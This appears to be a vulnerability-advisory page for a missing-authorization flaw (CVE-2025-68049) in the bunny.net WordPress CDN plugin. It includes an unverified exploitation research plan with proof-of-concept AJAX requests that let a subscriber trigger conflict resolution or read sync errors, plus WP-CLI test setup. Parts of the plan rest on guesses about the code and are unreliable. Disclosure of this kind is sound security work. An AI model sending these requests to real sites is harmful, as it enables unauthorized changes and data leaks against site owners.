CVE-2025-68049

bunny.net – WordPress CDN Plugin <= 2.3.6 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
2.3.7
Patched in
5d
Time to patch

Description

The bunny.net – WordPress CDN Plugin plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 2.3.6. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.3.6
PublishedMay 7, 2026
Last updatedMay 11, 2026
Affected pluginbunnycdn

What Changed in the Fix

Changes introduced in v2.3.7

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-68049 (bunny.net – WordPress CDN Plugin) ## 1. Vulnerability Summary The **bunny.net – WordPress CDN Plugin** (versions <= 2.3.6) is vulnerable to **Missing Authorization**. The plugin registers a central AJAX handler (`bunnycdn`) that routes requests to vario…

Show full research plan

Exploitation Research Plan: CVE-2025-68049 (bunny.net – WordPress CDN Plugin)

1. Vulnerability Summary

The bunny.net – WordPress CDN Plugin (versions <= 2.3.6) is vulnerable to Missing Authorization. The plugin registers a central AJAX handler (bunnycdn) that routes requests to various controllers. The Offloader controller, specifically its run() method, fails to perform capability checks (current_user_can) before executing sensitive actions. Consequently, any authenticated user (including Subscriber-level accounts) can trigger administrative functions related to media offloading and conflict resolution.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: bunnycdn
  • Target Section: offloader
  • Vulnerable Parameters:
    • perform=resolve-conflict: Triggers media conflict resolution logic.
    • perform=get-statistics: Leaks media attachment counts.
    • perform=get-sync-errors: Leaks internal sync error logs/file lists.
  • Authentication: Authenticated (Subscriber or higher).
  • Preconditions: The plugin must have the "wizard" completed (bunnycdn_wizard_finished option set to '1'), otherwise the Router redirects to the index/setup page.

3. Code Flow

  1. Entry Point: A Subscriber sends a POST request to admin-ajax.php with action=bunnycdn.
  2. AJAX Registration: The plugin (likely in admin.php, inferred from bunnycdn.php:73) registers add_action('wp_ajax_bunnycdn', ...).
  3. Routing: src/Admin/Router.php's route() method is called.
    • It retrieves section from $_REQUEST (e.g., offloader).
    • It checks if bunnycdn_wizard_finished is '1'.
    • It instantiates the Offloader controller: new \Bunny\Wordpress\Admin\Controller\Offloader($container).
    • It calls Offloader::run(true).
  4. Sink: Inside src/Admin/Controller/Offloader.php in the run(bool $isAjax) method:
    • No capability check exists at the start of the function.
    • If $_POST['perform'] === 'resolve-conflict':
      • It takes attachment_id and keep from $_POST.
      • It calls $this->container->newAttachmentMover()->resolveConflict($id, $keep).
      • This logic executes privileged file/database operations on behalf of the Subscriber.

4. Nonce Acquisition Strategy

The resolve-conflict path in Offloader.php (lines 46-55) does not check for a nonce.

However, the "Save Settings" path in the same file (line 92) does check a nonce: check_admin_referer('bunnycdn-save-offloader');. If an attacker wanted to exploit the settings update, they would need to acquire this nonce.

Strategy for acquiring bunnycdn-save-offloader (if needed for settings update):

  1. Identify Script: The plugin likely enqueues scripts on its admin settings page.
  2. Shortcode: The plugin provides the [bunnycdn_stream_video] shortcode.
  3. Page Creation: wp post create --post_type=page --post_status=publish --post_content='[bunnycdn_stream_video library=1 id="test"]'
  4. Extraction: While nonces for admin-specific actions like bunnycdn-save-offloader are usually only rendered in the admin dashboard (accessible only to higher roles), an attacker should first check if any generic nonces are localized to the frontend.
  5. Direct Attack: Since resolve-conflict lacks both a capability check and a nonce check, the most reliable PoC focuses on this action.

5. Exploitation Strategy

We will demonstrate the vulnerability by triggering the resolve-conflict action as a Subscriber, which lacks both authorization and CSRF protection.

Step 1: Triggering Unauthorized Conflict Resolution

Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=bunnycdn&section=offloader&perform=resolve-conflict&attachment_id=1&keep=local
  • action: bunnycdn
  • section: offloader
  • perform: resolve-conflict
  • attachment_id: ID of a valid media attachment (e.g., 1).
  • keep: local (tells the mover to keep the local version).

Step 2: Information Leak (Alternative)

If resolve-conflict fails due to environment setup, the information leak via get-statistics is a secondary proof.
Request:

GET /wp-admin/admin-ajax.php?action=bunnycdn&section=offloader&perform=get-statistics HTTP/1.1

6. Test Data Setup

  1. Install Plugin: Ensure version 2.3.6 is active.
  2. Setup Wizard: Use WP-CLI to simulate a finished setup.
    wp option update bunnycdn_wizard_finished '1'
    wp option update bunnycdn_api_key 'fake_key_for_testing'
    
  3. Create User:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
    
  4. Create Media:
    wp post create --post_type=attachment --post_title="Target Media" --post_status=inherit
    # Note the returned ID for the exploit payload
    

7. Expected Results

  • Response Code: 200 OK
  • Response Body: {"success":true,"data":{"id":1}}
  • Observation: The Subscriber account successfully invokes the resolveConflict logic, which is intended only for Administrators.

8. Verification Steps

  1. Check Result via WP-CLI: Confirm the AJAX response indicated success.
  2. Log Verification: If the testing environment allows, check if resolveConflict was logged or if the attachment metadata changed.
  3. Access Control Confirmation: Attempt the same request while logged out; it should return a 403 or 0 (if wp_ajax_nopriv is not registered).

9. Alternative Approaches

If the resolve-conflict action requires complex internal state (e.g., actual file conflicts in the DB), the get-sync-errors action is a simpler target for proof of authorization bypass:
Request:

GET /wp-admin/admin-ajax.php?action=bunnycdn&section=offloader&perform=get-sync-errors HTTP/1.1

If this returns a JSON object containing sync errors (or an empty list []) to a Subscriber, the "Missing Authorization" is confirmed.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.